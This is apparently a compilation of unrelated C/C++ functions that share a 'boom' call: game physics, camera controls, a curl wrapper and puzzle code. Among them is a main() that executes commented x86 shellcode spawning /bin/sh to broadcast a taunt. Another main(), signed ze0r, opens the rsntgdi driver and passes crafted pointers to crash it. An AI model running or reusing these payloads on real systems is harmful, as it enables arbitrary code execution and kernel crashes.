bool FrameFunc() { float dt=hge->Timer_GetDelta(); // Process keys if (hge->Input_GetKeyState(HGEK_ESCAPE)) return true; if (hge->Input_GetKeyState(HGEK_LEFT)) dx-=speed*dt; if (hge->Input_GetKeyState(HGEK_RIGHT)) dx+=speed*dt; if (hge->Input_GetKeyState(HGEK_UP)) dy-=speed*dt; if (hge->Input_GetKeyState(HGEK_DOWN)) dy+=speed*dt; // Do some movement calculations and collision detection dx*=friction; dy*=friction; x+=dx; y+=dy; if(x>496) {x=496-(x-496);dx=-dx;boom();} if(x<16) {x=16+16-x;dx=-dx;boom();} if(y>496) {y=496-(y-496);dy=-dy;boom();} if(y<16) {y=16+16-y;dy=-dy;boom();} // Update particle system par->info.nEmission=(int)(dx*dx+dy*dy); par->MoveTo(x,y); par->Update(dt); return false; }
void MovingThing::move() { this->x += velocity.x; this->y += velocity.y; if (life <= 0) { boom(); } }
void MainWidget::theEnd() { if (type) emit finish(); else emit boom(); }
int main(void) { char evil[] = "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x68\x77\x61\x6c\x6c" // push $0x6c6c6177 "\x68\x21\x20\x7c\x20" // push $0x207c2021 "\x68\x63\x6b\x33\x64" // push $0x64336b63 "\x68\x20\x50\x68\x75" // push $0x75685020 "\x68\x65\x63\x68\x6f" // push $0x6f686365 "\x89\xe6" // mov %esp,%esi "\x52" // push %edx "\x66\x68\x2d\x63" // pushw $0x632d "\x89\xe1" // mov %esp,%ecx "\x52" // push %edx "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x56" // push %esi "\x51" // push %ecx "\x53" // push %ebx "\x89\xe1" // mov %esp,%ecx "\xcd\x80" // int $0x80 void(*boom)()=(void*)evil; boom(); return 0; }
void ofxFPSCam::update() { float v; v = key_state[key_assign[RIGHT]] ? move_speed : 0; v -= key_state[key_assign[LEFT]] ? move_speed : 0; velocity_side += (v - velocity_side) * 0.2; truck(velocity_side); v = key_state[key_assign[BACK]] ? move_speed : 0; v -= key_state[key_assign[FORWARD]] ? move_speed : 0; velocity_forward += (v - velocity_forward) * 0.2; dolly(velocity_forward); v = key_state[key_assign[UP]] ? move_speed : 0; v -= key_state[key_assign[DOWN]] ? move_speed : 0; velocity_upward += (v - velocity_upward) * 0.2; boom(velocity_upward); v = key_state[key_assign[PAN_LEFT]] ? rotate_speed : 0; v -= key_state[key_assign[PAN_RIGHT]] ? rotate_speed : 0; velocity_pan += (v - velocity_pan) * 0.2; rotate(velocity_pan, ofVec3f(0, 1, 0)); v = key_state[key_assign[TILT_UP]] ? rotate_speed : 0; v -= key_state[key_assign[TILT_DOWN]] ? rotate_speed : 0; velocity_tilt += (v - velocity_tilt) * 0.2; rotate(velocity_tilt, getSideDir()); }
int main(){ int choice; int m;//循环变量 int r=1;//人物编号 int q=1;//问题编号 char p[200];//容纳文本的字符数组 printf("***********************************************\n"); printf("----------并不靠谱的仙剑读心术 2.0版-----------\n"); printf(" 按1开始读心术\n 按2退出\n 别瞎按\n"); scanf("%d",&choice); if((choice==1)||(choice==2)){ switch(choice){ case 1:;break; case 2:exit(1); } } else{ boom(); } for(m=1;m<8;m++){ printf("第 %d 个问题:\n",m); getfileline("Question.txt", q, p); puts(p); printf("请输入1(是)或0(不是)\n"); scanf("%d",&choice); switch(choice){ case 1:{ q = q*2+1; r = r+pow(2,7-m); break; } case 0:{ q = q*2; break; } default:boom(); } } printf("下面是见证奇迹的时刻,我猜你想的是:\n"); getfileline("Role.txt", r, p);//文件地址,需要抓第几行,一次最多抓多少字符 puts(p);//输出所抓字符数组 printf("谢谢使用,欢迎再来~\n"); main(); }
//---------------------------------------- void ofxViewportCam::track(float deltaX, float deltaY) { truck(deltaX); boom(deltaY); this->truckAmount += deltaX; this->boomAmount += deltaY; }
//------------------------------------------------ void TravelingCam::update(ofEventArgs& a) { unsigned long long t = ofGetElapsedTimeMillis(); if (bTweening) { currentSpeed = tween.update(); } else if (pathLength < currentDistance + slowdownDist) { currentSpeed = ofMap(currentDistance, pathLength - slowdownDist, pathLength, 0, speed); } else { currentSpeed = speed; } unsigned long long dt = t - lastUpdateTime; currentDistance += currentSpeed * dt; ofPoint p = path.getPointAtLength(currentDistance); float inc = 10; if (pathLength < currentDistance + inc ) { inc = pathLength - currentDistance; } ofPoint p0 = path.getPointAtLength(currentDistance + inc); p.y *= heightMult; p0.y *= heightMult; //lookAt( p + (p - p0).normalize()); setPosition( p); dirVec = p + (p0 - p).normalize(); lookAt(dirVec, ofVec3f(0,1,0)); boom(altura); if(bMousePressed || bXenoRunning) { ofVec2f c (ofGetWidth()/2, ofGetHeight()/2); ofVec2f mouseNorm = mousePos - c; xenoPos = xenoPos + (mouseNorm- xenoPos)*xenoFactor; if ((mouseNorm - xenoPos).length() < 1) { xenoPos = mouseNorm; bXenoRunning = false; } // mouseNorm.x /= c.x; // mouseNorm.y /= c.y; rotate(ofMap(xenoPos.x, -c.x, c.x, 90, -90), getYAxis()); rotate(ofMap(xenoPos.y, -c.y, c.y, 60, -60), getXAxis()); } lastUpdateTime = t; }
//------------------------------------------------ void TravelingCam::initCamPos() { if (path.size()>1) { setPosition(path.getVertices()[0]); ofPoint p = path.getVertices()[1]; ofPoint p0 = path.getVertices()[0]; dirVec = p + (p - p0).normalize(); lookAt(dirVec, ofVec3f(0,1,0)); boom(altura); } }
void MyGame::move(int i,int j,bool click){ if(!click){ if(actUserField[i][j]==0)actUserField[i][j]=1; if(field[i][j]==-1&&actUserField[i][j]!=2){ emit gameOver(false); boom(); } else if(field[i][j]==0&&actUserField[i][j]!=2){ expand(i,j); if(isWin()){ emit gameOver(true); boom(); } } else{ if(isWin()&&actUserField[i][j]!=2){ emit gameOver(true); boom(); } } } else{ if(actUserField[i][j]!=1&&actUserField[i][j]!=2){ actUserField[i][j]=2; counting--; emit changeBomb(counting); } else if(actUserField[i][j]==2){ actUserField[i][j]=0; counting++; emit changeBomb(counting); } } }
std::string Curl::fetchUrl(std::string const & url) { auto setOpt = [this](auto option, auto arg) { auto code = curl_easy_setopt(curl.get(),option,arg); if( code != CURLE_OK) { boom("curl_easy_setopt",code); } }; std::ostringstream os; setOpt(CURLOPT_WRITEFUNCTION,&writeToStream); setOpt(CURLOPT_WRITEDATA,&os); setOpt(CURLOPT_NOPROGRESS,1L); setOpt(CURLOPT_FOLLOWLOCATION,1L); setOpt(CURLOPT_TIMEOUT,30L); setOpt(CURLOPT_URL,url.c_str()); auto code = curl_easy_perform(curl.get()); if( code != CURLE_OK) { boom("curl_easy_setopt",code); } return os.str(); }
void DDI::damage(int ATK) { int dif = ATK - this->Def; if (dif<=0) dif = 1; HP-=dif; if (HP<=0) { //HP=5; //newEne(); //newEne(-10000,-10000,0,0,0,0); destroy(); boom(); } }
void WPN_MoveShots(World& world, float elapsedTime) { auto shot = d6Shots.begin(); while (shot != d6Shots.end()) { const Weapon& weapon = shot->getWeapon(); shot->move(elapsedTime); Hit hit = WPN_ShotPlayerCollision(*shot, world.getPlayers()); if (!hit.hit) { hit = WPN_ShotWallCollision(*shot, world.getLevel()); } if (hit.hit) { WPN_Boom(*shot, world.getPlayers(), hit.player, world.getSpriteList(), world.getFireList()); const Vector shotCentre = shot->getCentre(); Sprite boom(weapon.boomAnimation, weapon.textures.boom); boom.setPosition(shotCentre - Vector(0.5f, 0.5f), 0.6f) .setSpeed(2.0f) .setLooping(AnimationLooping::OnceAndRemove) .setOrientation(shot->getOrientation()) .setAlpha(0.6f); SpriteList::Iterator boomSprite = world.getSpriteList().addSprite(boom); if (shot->getPlayer().hasPowerfulShots()) boomSprite->setGrow(weapon.expGrow * 1.2f); else boomSprite->setGrow(weapon.expGrow); weapon.boomSample.play(); if (weapon.boom > 0) { boomSprite->setNoDepth(true); } shot = WPN_RemoveShot(shot, world.getSpriteList()); } else { ++shot; } } }
void PlayerEntity::gotHit(){ auto blast = Blast::createBlast(); blast->setPosition(this->getPosition()); blast->boom(); GameScene::getCurrentGameScene()->getTileMap()->addChild(blast, 2); this->setVisible(false); this->setPosition(Vec2(4 * 24 + 12, 12)); this->setRotation(0); GameManager::getInstance()->setLives(GameManager::getInstance()->getLives() - 1); if (GameManager::getInstance()->getLives() > 0) { GameScene::getCurrentGameScene()->addStar(); } else if(!GameManager::getInstance()->getOver()){ GameScene::getCurrentGameScene()->showOver(); } }
void Penguins::Update(float dt) { tShoot.Update(dt); float limSpeedpos = 190, limSpeedneg = -190; if (InputManager::GetInstance().IsKeyDown(SDLK_w)) { if (linearSpeed > limSpeedneg) linearSpeed -= dt*100; } if (InputManager::GetInstance().IsKeyDown(SDLK_s)) { if (linearSpeed < limSpeedpos) linearSpeed += dt*100; } if (!(InputManager::GetInstance().IsKeyDown(SDLK_w) || InputManager::GetInstance().IsKeyDown(SDLK_s))){ linearSpeed -= dt*linearSpeed; } if (InputManager::GetInstance().IsKeyDown(SDLK_a)){ rotation -= dt*100; } if (InputManager::GetInstance().IsKeyDown(SDLK_d)) { rotation += dt*100; } if (InputManager::GetInstance().MousePress(SDL_BUTTON_LEFT)) { if (tShoot.Get() > 0.4) { Shoot(); tShoot.Restart(); } } if ((linearSpeed < 1) && (linearSpeed > -1)) box.SetRect(box.GetXrect(), box.GetYrect(), box.GetWrect(), box.GetHrect()); else box.SetRect(box.GetXrect() - dt*linearSpeed*cos((rotation*M_PI) / 180), box.GetYrect() - dt*linearSpeed*sin((rotation*M_PI) / 180), box.GetWrect(), box.GetHrect()); cannonAngle = box.CenterRect(box).Inclinacao(InputManager::GetInstance().GetMouseX() - Camera::pos.GetXpoint(), InputManager::GetInstance().GetMouseY() - Camera::pos.GetYpoint(), box.CenterRect(box)); if (IsDead()){ Sprite animationSp("img/penguindeath.png", 5, 0.08); StillAnimation* animation = new StillAnimation(box.CenterRect(box).GetXpoint(), box.CenterRect(box).GetYpoint(), rotation, animationSp, 0.6, true); Game::GetInstance().GetCurrentState().AddObject(animation); Sound boom("audio/boom.wav"); boom.Play(0.5); } }
//---------------------------------------- void ofxViewportCam::setTargetPosition(const ofVec3f &pos) { this->target.setPosition(pos); this->isTargetSet = true; // Move to tumble point. const ofVec3f targetPos(target.getGlobalPosition()); setPosition(targetPos); // Reset orientation to identity. setOrientation(ofQuaternion(0, 0, 0, 1)); // Apply tumble. pan(this->panAmount); tilt(this->tiltAmount); // Re-apply pre-existing track and zoom. dolly(this->distance); truck(this->truckAmount); boom(this->boomAmount); }
//---------------------------------------- void ofxViewportCam::tumble(float yaw, float pitch) { const float tumbleAmount = 0.25f; this->tiltAmount += pitch * tumbleAmount; this->panAmount += yaw * tumbleAmount; if(this->isTargetSet) { // Move to tumble point. const ofVec3f targetPos(target.getGlobalPosition()); setPosition(targetPos); // Reset orientation to identity. setOrientation(ofQuaternion(0, 0, 0, 1)); // Apply tumble. pan(this->panAmount); tilt(this->tiltAmount); // Re-apply pre-existing track and zoom. dolly(this->distance); truck(this->truckAmount); boom(this->boomAmount); } else { // Move to tumble point. dolly(-this->distance); // Reset orientation to identity. setOrientation(ofQuaternion(0, 0, 0, 1)); // Apply tumble. pan(this->panAmount); tilt(this->tiltAmount); // Move back. dolly(this->distance); } }
int main() { int t; scanf("%d",&t); char line[10001]; int val=1; for(int i=0;i<t;i++) { gets(line); val=1; sum=0; pos=0; while(line[pos]!='\0') { switch(line[pos]) { case 'L': val=val*2; break; case 'R': val=(val*2)+1; break; case 'P': break; case '\0': sum=sum+val; break; case '*': boom(val,line,pos); } pos=pos+1; } printf("%f\n",sum); } printf("\n"); return (0); }
void ofxGamepadCamera::update(ofEventArgs& e) { if(pad == NULL) return; float curTime = ofGetElapsedTimef(); float mult = curTime - lastTime; pan(-pad->getAxisValue(PS3_STICK_R_X)*speedRotation*mult); tilt(-pad->getAxisValue(PS3_STICK_R_Y)*speedRotation*mult); truck(pad->getAxisValue(PS3_STICK_L_X)*speedMove*mult); boom(-pad->getAxisValue(PS3_STICK_L_Y)*speedMove*mult); if(useAnalogueDolly) { dolly(-(pad->getAxisValueU(PS3_THRUST_L2)-.5)*speedMove*mult); dolly((pad->getAxisValueU(PS3_THRUST_R2)-.5)*speedMove*mult); } else { if(pad->getButtonValue(PS3_BTN_L2)) { dolly(-speedMove*2*mult); } if(pad->getButtonValue(PS3_BTN_R2)) { dolly(speedMove*2*mult); } } if(pad->getButtonValue(PS3_BTN_L1)) { roll(-speedRotation*.7*mult); } if(pad->getButtonValue(PS3_BTN_R1)) { roll(speedRotation*.7*mult); } if(pad->getButtonValue(PS3_BTN_SELECT)) reset(); lastTime = curTime; }
bool Bullet::detect(hgeRect* target) { if (buttRect.Intersect(target)) { boom(); this->x = this->x-10000; this->y = this->y-10000; buttRect.x1=this->x; buttRect.y1=this->y; buttRect.x2=this->x+16; buttRect.y2=this->y+16; r=0; angle=0; rm=0; anglem=0; return true; } else return false; }
int main(int argc, char* argv[]) { printf("-------------------------------------------------------------------------------\n"); printf("---------------------------C0ed By:ze0r,Let's ROCK!!---------------------------\n"); printf("----------------------------------QQ:289791332---------------------------------\n"); printf("-------------------------------------------------------------------------------\n\n"); DriverHandle=CreateFile("\\\\.\\rsntgdi", 0, FILE_SHARE_READ | FILE_SHARE_WRITE , 0, OPEN_EXISTING,0,0); if (DriverHandle == INVALID_HANDLE_VALUE) { printf("Open Driver Error!\n\n"); return 0 ; } printf("OK.Let's Crash It!\n\n"); getchar(); boom((PVOID)0x88888888,(PVOID)0x88888888); return 0; }
void boom(int start, char string[], int pos) { int remember=start; int rememberpos=pos; start=start*2; do { pos=pos+1; switch(string[pos]) { case 'L': start=start*2; break; case 'R': start=(start*2)+1; break; case 'P': break; case '\0': sum=sum+start; break; case '*': boom(start,string,pos); break; } } while(string[pos]!='\0'); start=remember; pos=rememberpos; start=(start*2)+1; do { pos=pos+1; switch(string[pos]) { case 'L': start=start*2; break; case 'R': start=(start*2)+1; break; case 'P': break; case '\0': sum=sum+start; break; case '*': boom(start,string,pos); break; } } while(string[pos]!='\0'); start=remember; pos=rememberpos; do { pos=pos+1; switch(string[pos]) { case 'L': start=start*2; break; case 'R': start=(start*2)+1; break; case 'P': break; case '\0': sum=sum+start; break; case '*': boom(start,string,pos); break; } } while(string[pos]!='\0'); };
//mulai permainan void play_game(char **maze, int size, int **posX, int **posY, int players){ int total[2] = {players, players}, turn = 1, dice1 = 0, dice2 = 0, step = 0, pos = 0, bombX = 0, bombY = 0; int *x, *y; char move; //selama belum ada yang kehabisan army while(total[0]>0 && total[1]>0){ turn = !turn; //ganti giliran system("cls"); printf("Player %d's turn\n\n", turn+1); do{ pos = rand()%players; x = &(posX[turn][pos]); y = &(posY[turn][pos]); }while(maze[*x][*y] == PATH); view_maze(maze, size, *x, *y); printf("Dice Roll (A to STOP): x x"); do{ do{ dice1=rand()%6 + 1; dice2=rand()%6 + 1; printf("\b\b\b%d %d", dice1, dice2); }while(!kbhit()); move=toupper(getch()); }while(move!='A'); step = dice1 + dice2; getch(); do{ system("cls"); printf("Player %d's turn (Steps: %d)\n\n", turn+1, step); view_maze(maze, size, *x, *y); move=toupper(getch()); if(step>0) { switch(move){ case UP: if(maze[*x-1][*y] == PATH){ maze[*x][*y] = PATH; step--; *x = *x - 1; maze[*x][*y] = turn + 1; }else if(maze[*x-1][*y]!=WALL && maze[*x-2][*y]==PATH){ maze[*x][*y] = PATH; step--; *x = *x - 2; maze[*x][*y] = turn + 1; } break; case LEFT: if(maze[*x][*y-1] == PATH){ maze[*x][*y] = PATH; step--; *y = *y - 1; maze[*x][*y] = turn + 1; }else if(maze[*x][*y-1]!=WALL && maze[*x][*y-2]==PATH){ maze[*x][*y] = PATH; step--; *y = *y - 2; maze[*x][*y] = turn + 1; } break; case RIGHT: if(maze[*x][*y+1] == PATH){ maze[*x][*y] = PATH; step--; *y = *y + 1; maze[*x][*y] = turn + 1; }else if(maze[*x][*y+1]!=WALL && maze[*x][*y+2]==PATH){ maze[*x][*y] = PATH; step--; *y = *y + 2; maze[*x][*y] = turn + 1; } break; case DOWN: if(maze[*x+1][*y] == PATH){ maze[*x][*y] = PATH; step--; *x = *x + 1; maze[*x][*y] = turn + 1; }else if(maze[*x+1][*y]!=WALL && maze[*x+2][*y]==PATH){ maze[*x][*y] = PATH; step--; *x = *x + 2; maze[*x][*y] = turn + 1; } break; case ' ': if(step>=2){ do{ dice1 = rand()%size; dice2 = rand()%size; }while(maze[dice1][dice2]!=PATH); maze[*x][*y] = PATH; step-=2; *x = dice1; *y = dice2; maze[*x][*y] = turn + 1; } break; default: break; } } switch(move){ case 'A': if(maze[bombX][bombY]!='O'){ system("cls"); printf("Press ARROW KEY to PLACE the BOMB "); printf("or Press A to CANCEL this ACTION\n\n"); view_maze(maze, size, *x, *y); do{ move = toupper(getch()); switch(move){ case UP: if(maze[*x-1][*y] == PATH){ bombX = *x - 1; bombY = *y; maze[bombX][bombY] = 'O'; move = 'A'; } break; case LEFT: if(maze[*x][*y-1] == PATH){ bombX = *x; bombY = *y-1; maze[bombX][bombY] = 'O'; move = 'A'; } break; case DOWN: if(maze[*x+1][*y] == PATH){ bombX = *x + 1; bombY = *y; maze[bombX][bombY] = 'O'; move = 'A'; } break; case RIGHT: if(maze[*x][*y+1] == PATH){ bombX = *x; bombY = *y+1; maze[bombX][bombY] = 'O'; move = 'A'; } break; default: break; } }while(move!='A'); } break; case 'S': if(maze[bombX][bombY] == 'O'){ system("cls"); printf("FIRE IN THE HOLE.....!!!\n\n"); boom(maze, bombX, bombY, total, size); } break; case 'W': total[turn]--; if(maze[bombX][bombY] == 'O') maze[bombX][bombY] = PATH; system("cls"); printf("KAMIKAZE ATTACK...!!!\n\n"); boom(maze, *x, *y, total, size); move = 'D'; break; default: break; } }while(maze[*x][*y]!=PATH && move!='D' && total[0]>0 && total[1]>0); if(maze[bombX][bombY] == 'O') maze[bombX][bombY] = PATH; } system("cls"); //untuk mengecek siapa pemenangnya if(total[0]>total[1]) printf("The Winner is Player 1\n\n"); else if(total[1]>total[0]) printf("The Winner is Player 2\n\n"); else printf("The Game is DRAW...\n\n"); view_maze(maze, size, 0, 0); }
bool move() { Seg *aux_seg; bool ret=false; switch(mov) { case 1: if(food.x==x+1 && food.y==y) putfood(); else { aux_seg=init_seg; init_seg=init_seg->next; delete aux_seg; } act_seg->x=++x; if(x>29)act_seg->x=x=0; act_seg->y=y; ret=boom(x,y); act_seg->next=new Seg; act_seg=act_seg->next; act_seg->next=0; break; case 2: if(food.x==x && food.y==y+1) putfood(); else { aux_seg=init_seg; init_seg=init_seg->next; delete aux_seg; } act_seg->x=x; act_seg->y=++y; if(y>19)act_seg->y=y=0; ret=boom(x,y); act_seg->next=new Seg; act_seg=act_seg->next; act_seg->next=0; break; case 3: if(food.x==x-1 && food.y==y) putfood(); else { aux_seg=init_seg; init_seg=init_seg->next; delete aux_seg; } act_seg->x=--x; if(x<0)act_seg->x=x=29; act_seg->y=y; ret=boom(x,y); act_seg->next=new Seg; act_seg=act_seg->next; act_seg->next=0; break; case 4: if(food.x==x && food.y==y-1) putfood(); else { aux_seg=init_seg; init_seg=init_seg->next; delete aux_seg; } act_seg->x=x; act_seg->y=--y; if(y<0)act_seg->y=y=19; ret=boom(x,y); act_seg->next=new Seg; act_seg=act_seg->next; act_seg->next=0; break; } //printf("%i %i\n", x, y); return ret; }
void ofxGameCamera::update(ofEventArgs& args){ rotationChanged = false; positionChanged = false; if(applyTranslation){ int multiplier = invertControls ? -1 : 1; if(ofGetKeyPressed('w') || (useArrowKeys && ofGetKeyPressed(OF_KEY_UP)) ){ if(dampen){ targetNode.dolly(-speed); }else{ dolly(-speed); } positionChanged = true; } if(ofGetKeyPressed('s') || (useArrowKeys && ofGetKeyPressed(OF_KEY_DOWN)) ){ if(dampen){ targetNode.dolly(speed); }else{ dolly(speed); } positionChanged = true; } if(ofGetKeyPressed('a') || (useArrowKeys && ofGetKeyPressed(OF_KEY_LEFT)) ){ if(dampen){ targetNode.truck(-speed); }else{ truck(-speed); } positionChanged = true; } if(ofGetKeyPressed('d') || (useArrowKeys && ofGetKeyPressed(OF_KEY_RIGHT)) ){ if(dampen){ targetNode.truck(speed); } else{ truck(speed); } positionChanged = true; } if(ofGetKeyPressed('c') || (useArrowKeys && ofGetKeyPressed(OF_KEY_PAGE_DOWN)) ){ if(dampen){ targetNode.boom(-speed*multiplier); } else{ boom(-speed*multiplier); } positionChanged = true; } if(ofGetKeyPressed('e') || (useArrowKeys && ofGetKeyPressed(OF_KEY_PAGE_UP)) ){ if(dampen){ targetNode.boom(speed*multiplier); } else{ boom(speed*multiplier); } positionChanged = true; } } if(applyRotation){ if(ofGetKeyPressed('r')){ targetZRot += rollSpeed; rotationChanged = true; } if(ofGetKeyPressed('q')){ targetZRot -= rollSpeed; rotationChanged = true; } } if(dampen){ setPosition(getPosition() + (targetNode.getPosition() - getPosition()) *.2); } ofVec2f mouse( ofGetMouseX(), ofGetMouseY() ); if(usemouse && applyRotation && ofGetMousePressed(0)){ if(!justResetAngles){ float dx = (mouse.x - lastMouse.x) * sensitivityX; float dy = (mouse.y - lastMouse.y) * sensitivityY; // cout << "b4 DX DY! " << dx << " " << dy << " " << targetXRot << " " << targetYRot << endl; targetXRot += dx * (invertControls ? -1 : 1); targetYRot += dy * (invertControls ? -1 : 1); // targetYRot = ClampAngle(targetYRot, minimumY, maximumY); // targetXRot = ClampAngle(targetXRot, minimumX, maximumX); // cout << "after DX DY! " << dx << " " << dy << " " << targetXRot << " " << targetYRot << endl; rotationChanged = true; } justResetAngles = false; } if(rotationChanged){ updateRotation(); } lastMouse = mouse; if(!ofGetMousePressed(0) && autosavePosition && (rotationChanged || positionChanged)){ saveCameraPosition(); } }
bool FrameFunc(){ if (hge->Input_GetKeyState(HGEK_ESCAPE)) { return true; } float dt = hge->Timer_GetDelta(); // camera zone check camera->SetZone(myPlayer->getZone()); if (!world[camera->GetZone()]->isLoaded()) { world[camera->GetZone()]->Load(); } // player move float x = myPlayer->GetXPosition(), y = myPlayer->GetYPosition(); float dx_dt = myPlayer->Get_dx_dt(), dy_dt = myPlayer->Get_dy_dt(); float acceleration = myPlayer->GetAcceleration(); float friction = myPlayer->GetFriction(); if (hge->Input_GetKeyState(HGEK_LEFT)) { dx_dt = -acceleration; } if (hge->Input_GetKeyState(HGEK_RIGHT)) { dx_dt = acceleration; } if (hge->Input_GetKeyState(HGEK_UP)) { dy_dt = -acceleration; } if (hge->Input_GetKeyState(HGEK_DOWN)) { dy_dt = acceleration; } int map_width = world[camera->GetZone()]->Get_Width(); int map_height = world[camera->GetZone()]->Get_Height(); // Do some movement calculations and collision detection if (x > map_width - 16) { x = map_width - 16 - (x - map_width - 16); dx_dt = -dx_dt; boom(); } if (x<16) { x = 16 + 16 - x; dx_dt = -dx_dt; boom(); } if (y> map_height - 16) { y = map_width - 16 - (y - map_width - 16); dy_dt = -dy_dt; boom(); } if (y < 16) { y = 16 + 16 - y; dy_dt = -dy_dt; boom(); } myPlayer->setVelocity(dx_dt * friction, dy_dt * friction); myPlayer->SetXPosition(x + dx_dt * dt); myPlayer->SetYPosition(y + dy_dt * dt); // camera move // check if camera reaches edge in this movement float cam_x = camera->GetXPosition(); float cam_y = camera->GetYPosition(); int cam_width_2 = camera->Get_Display_Width_2(); int cam_height_2 = camera->Get_Display_Height_2(); float h_displacement = dx_dt * dt; float v_displacement = dy_dt * dt; // resolve camera movement on x axis if (camera->willCollideEast(h_displacement)) camera->SetXPosition(map_width - cam_width_2); else if (camera->willCollideWest(h_displacement)) camera->SetXPosition(0 + cam_width_2); else camera->SetXPosition(cam_x + h_displacement); // resolve camera movement on y axis if (camera->willCollideSouth(v_displacement)) camera->SetYPosition(map_height - cam_height_2); else if (camera->willCollideNorth(v_displacement)) camera->SetYPosition(0 + cam_height_2); else camera->SetYPosition(cam_y + v_displacement); portal->Try(myPlayer); //myPlayer->setPosition(x + dx_dt, y + dy_dt); myPlayer->getAnimation()->Update(dt); //camera->SetXPosition(x + dx_dt); //camera->SetYPosition(y + dy_dt); // Now we let the Gui object perform its logic. //gui->logic(); return false; }